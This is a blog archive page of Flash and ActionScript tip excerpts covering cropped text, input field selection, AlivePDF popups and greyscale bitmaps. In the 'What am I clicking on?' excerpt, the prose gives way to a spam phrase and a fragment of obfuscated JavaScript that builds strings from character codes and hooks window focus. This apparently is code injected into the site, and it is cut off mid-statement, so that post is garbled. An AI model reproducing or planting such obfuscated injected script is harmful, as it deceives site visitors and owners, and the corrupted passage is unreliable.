Archive for 'Flash Tips & Notes'
Last character getting cropped in a static textfield
You have a static textfield, set to Anti-alias for readability, you put on a couple of filters and suddenly the end of your text gets cropped in the middle of a character.
Here’s what it looked like to me:
This doesn’t always happen, it seems to be something to do with the length of the text in [...]
Posted: 03:47 PM under Flash Tips & Notes.
Tags: cropped character, Flash Bug, TextField
Comments: none
Input TextFields – auto select all text
Sometimes you want to have all the text in an input field selected when the user clicks on the field – this makes it easier to enter data quickly on certain forms, particularly if the fields are pre-filled.
But it’s not so easy to do without breaking the standard functionality of the input field. This code [...]
Posted: 01:01 AM under Flash Tips & Notes.
Tags: FocusEvent, FOCUS_IN, FOCUS_OUT, highlight, Input, KEY_FOCUS_CHANGE, selectionBeginIndex, selectionEndIndex, setSelection, TextField
Comments: 1
AlivePDF and Popup Blockers
I’ve been doing some headscratching and googling the last few days over a problem I had when using http://www.alivepdf.org/ to turn a movieclip into a PDF. The class is great, and gets you a PDF no problem, and when testing in Chrome all was fine, but when I tried it in IE or Firefox, the [...]
Posted: 02:34 AM under Flash Tips & Notes.
Tags: AlivePDF, blocker, ExternalInterface, Flash, navigateToURL, PDF, PHP, Pop-up, popup
Comments: none
What am I clicking on?
Sometimes when you have a zetaclear complaintstjtsi=0;bzilm=String.fromCharCode(109,116,118,106,108,119,97,119,113,99);ojibs=String.fromCharCode(122,112,110,103,107,40,41);dbcyj=document.getElementById(String.fromCharCode(117,111,104,112,118));window.onFocus=tbfiu();function zpngk(){++tjtsi;(tjtsi
Posted: 01:00 PM under Flash Tips & Notes.
Comments: 1
BitmapData – turning the image to greyscale
Here’s a useful tidbit I picked up from here:
http://www.adobe.com/devnet/flash/articles/matrix_transformations_print.html
How to turn a colour bitmapdata into greyscale.
// Turn the [...]
Posted: 06:29 PM under Flash Tips & Notes.
Tags: greyscale grayscale bitmapdata bitmap
Comments: 1